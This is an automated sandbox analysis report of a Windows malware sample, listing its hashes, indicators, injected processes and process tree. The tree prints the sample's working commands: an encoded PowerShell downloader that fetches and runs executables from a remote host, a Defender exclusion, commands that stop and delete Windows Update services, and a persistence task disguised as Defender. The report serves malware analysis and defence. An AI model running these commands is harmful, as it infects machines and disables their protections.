d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db

Analysis

max time kernel
102s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
06/01/2023, 07:30

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General

Target

8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
Size

197KB
MD5

78e69dd4d4eb058e9a2de5c4082c3133
SHA1

8aae493caafa6e42a5a7afe431aeac120ce4c152
SHA256

d3527f53eea79b90e0ea31e8c07a47924bdc0ed0dbaf635df7bb51fd580c91db
SHA512

42e6b6950f6ce3b21d107acffe1c68c19193ad6f54538caad9fc84d0d143ee6e753cfb4c64f96ef2fb22ef7c1049cf1496a94382d2166ff67312f6cad1444777
SSDEEP

6144:vmrFp1Uv1cVoar1HqOAORbMCIqxb/cTkc:vGFpv3vvbPb/cX

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 1380 created 2740	1380	SmartDefRun.exe	39
PID 1380 created 2740	1380	SmartDefRun.exe	39
PID 1380 created 2740	1380	SmartDefRun.exe	39
PID 1380 created 2740	1380	SmartDefRun.exe	39
PID 912 created 608	912	powershell.EXE	4

Blocklisted process makes network request 4 IoCs

flow	pid	Process
7	4624	powershell.exe
13	4624	powershell.exe
24	4624	powershell.exe
39	4624	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 1 IoCs

pid	Process
1380	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2540 set thread context of 1824	2540	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	81
PID 1380 set thread context of 1684	1380	SmartDefRun.exe	109
PID 912 set thread context of 4412	912	powershell.EXE	114

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1292	sc.exe
1096	sc.exe
3220	sc.exe
4064	sc.exe
2548	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4928	2540	WerFault.exe	79

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4624	powershell.exe
4624	powershell.exe
1380	SmartDefRun.exe
1380	SmartDefRun.exe
3692	powershell.exe
3692	powershell.exe
1380	SmartDefRun.exe
1380	SmartDefRun.exe
1380	SmartDefRun.exe
1380	SmartDefRun.exe
620	powershell.exe
620	powershell.exe
1380	SmartDefRun.exe
1380	SmartDefRun.exe
1724	powershell.EXE
912	powershell.EXE
1724	powershell.EXE
912	powershell.EXE
912	powershell.EXE
4412	dllhost.exe
4412	dllhost.exe
4412	dllhost.exe
4412	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4624	powershell.exe
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeIncreaseQuotaPrivilege	620	powershell.exe
Token: SeSecurityPrivilege	620	powershell.exe
Token: SeTakeOwnershipPrivilege	620	powershell.exe
Token: SeLoadDriverPrivilege	620	powershell.exe
Token: SeSystemProfilePrivilege	620	powershell.exe
Token: SeSystemtimePrivilege	620	powershell.exe
Token: SeProfSingleProcessPrivilege	620	powershell.exe
Token: SeIncBasePriorityPrivilege	620	powershell.exe
Token: SeCreatePagefilePrivilege	620	powershell.exe
Token: SeBackupPrivilege	620	powershell.exe
Token: SeRestorePrivilege	620	powershell.exe
Token: SeShutdownPrivilege	620	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeSystemEnvironmentPrivilege	620	powershell.exe
Token: SeRemoteShutdownPrivilege	620	powershell.exe
Token: SeUndockPrivilege	620	powershell.exe
Token: SeManageVolumePrivilege	620	powershell.exe
Token: 33	620	powershell.exe
Token: 34	620	powershell.exe
Token: 35	620	powershell.exe
Token: 36	620	powershell.exe
Token: SeIncreaseQuotaPrivilege	620	powershell.exe
Token: SeSecurityPrivilege	620	powershell.exe
Token: SeTakeOwnershipPrivilege	620	powershell.exe
Token: SeLoadDriverPrivilege	620	powershell.exe
Token: SeSystemProfilePrivilege	620	powershell.exe
Token: SeSystemtimePrivilege	620	powershell.exe
Token: SeProfSingleProcessPrivilege	620	powershell.exe
Token: SeIncBasePriorityPrivilege	620	powershell.exe
Token: SeCreatePagefilePrivilege	620	powershell.exe
Token: SeBackupPrivilege	620	powershell.exe
Token: SeRestorePrivilege	620	powershell.exe
Token: SeShutdownPrivilege	620	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeSystemEnvironmentPrivilege	620	powershell.exe
Token: SeRemoteShutdownPrivilege	620	powershell.exe
Token: SeUndockPrivilege	620	powershell.exe
Token: SeManageVolumePrivilege	620	powershell.exe
Token: 33	620	powershell.exe
Token: 34	620	powershell.exe
Token: 35	620	powershell.exe
Token: 36	620	powershell.exe
Token: SeIncreaseQuotaPrivilege	620	powershell.exe
Token: SeSecurityPrivilege	620	powershell.exe
Token: SeTakeOwnershipPrivilege	620	powershell.exe
Token: SeLoadDriverPrivilege	620	powershell.exe
Token: SeSystemProfilePrivilege	620	powershell.exe
Token: SeSystemtimePrivilege	620	powershell.exe
Token: SeProfSingleProcessPrivilege	620	powershell.exe
Token: SeIncBasePriorityPrivilege	620	powershell.exe
Token: SeCreatePagefilePrivilege	620	powershell.exe
Token: SeBackupPrivilege	620	powershell.exe
Token: SeRestorePrivilege	620	powershell.exe
Token: SeShutdownPrivilege	620	powershell.exe
Token: SeDebugPrivilege	620	powershell.exe
Token: SeSystemEnvironmentPrivilege	620	powershell.exe
Token: SeRemoteShutdownPrivilege	620	powershell.exe
Token: SeUndockPrivilege	620	powershell.exe
Token: SeManageVolumePrivilege	620	powershell.exe
Token: 33	620	powershell.exe
Token: 34	620	powershell.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 1824	2540	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	81
PID 2540 wrote to memory of 1824	2540	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	81
PID 2540 wrote to memory of 1824	2540	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	81
PID 2540 wrote to memory of 1824	2540	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	81
PID 2540 wrote to memory of 1824	2540	8aae493caafa6e42a5a7afe431aeac120ce4c152.exe	81
PID 1824 wrote to memory of 4624	1824	vbc.exe	85
PID 1824 wrote to memory of 4624	1824	vbc.exe	85
PID 1824 wrote to memory of 4624	1824	vbc.exe	85
PID 4624 wrote to memory of 1380	4624	powershell.exe	88
PID 4624 wrote to memory of 1380	4624	powershell.exe	88
PID 2040 wrote to memory of 1292	2040	cmd.exe	99
PID 2040 wrote to memory of 1292	2040	cmd.exe	99
PID 2040 wrote to memory of 1096	2040	cmd.exe	100
PID 2040 wrote to memory of 1096	2040	cmd.exe	100
PID 2040 wrote to memory of 3220	2040	cmd.exe	101
PID 2040 wrote to memory of 3220	2040	cmd.exe	101
PID 2040 wrote to memory of 4064	2040	cmd.exe	102
PID 2040 wrote to memory of 4064	2040	cmd.exe	102
PID 2040 wrote to memory of 2548	2040	cmd.exe	103
PID 2040 wrote to memory of 2548	2040	cmd.exe	103
PID 2040 wrote to memory of 3884	2040	cmd.exe	104
PID 2040 wrote to memory of 3884	2040	cmd.exe	104
PID 2040 wrote to memory of 4312	2040	cmd.exe	105
PID 2040 wrote to memory of 4312	2040	cmd.exe	105
PID 2040 wrote to memory of 732	2040	cmd.exe	106
PID 2040 wrote to memory of 732	2040	cmd.exe	106
PID 2040 wrote to memory of 3264	2040	cmd.exe	107
PID 2040 wrote to memory of 3264	2040	cmd.exe	107
PID 2040 wrote to memory of 4304	2040	cmd.exe	108
PID 2040 wrote to memory of 4304	2040	cmd.exe	108
PID 1380 wrote to memory of 1684	1380	SmartDefRun.exe	109
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 912 wrote to memory of 4412	912	powershell.EXE	114
PID 4412 wrote to memory of 608	4412	dllhost.exe	4
PID 4412 wrote to memory of 660	4412	dllhost.exe	2

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:660

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1132441b-491f-427b-a5df-906436d3a1f5}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4412

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2740
- C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe
  "C:\Users\Admin\AppData\Local\Temp\8aae493caafa6e42a5a7afe431aeac120ce4c152.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4624
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1380
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2540 -s 140
    3⤵
    - Program crash
    PID:4928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1292
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1096
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3220
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4064
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2548
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3884
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4312
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:732
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3264
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:620
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:1684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2540 -ip 2540
1⤵
PID:4808

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
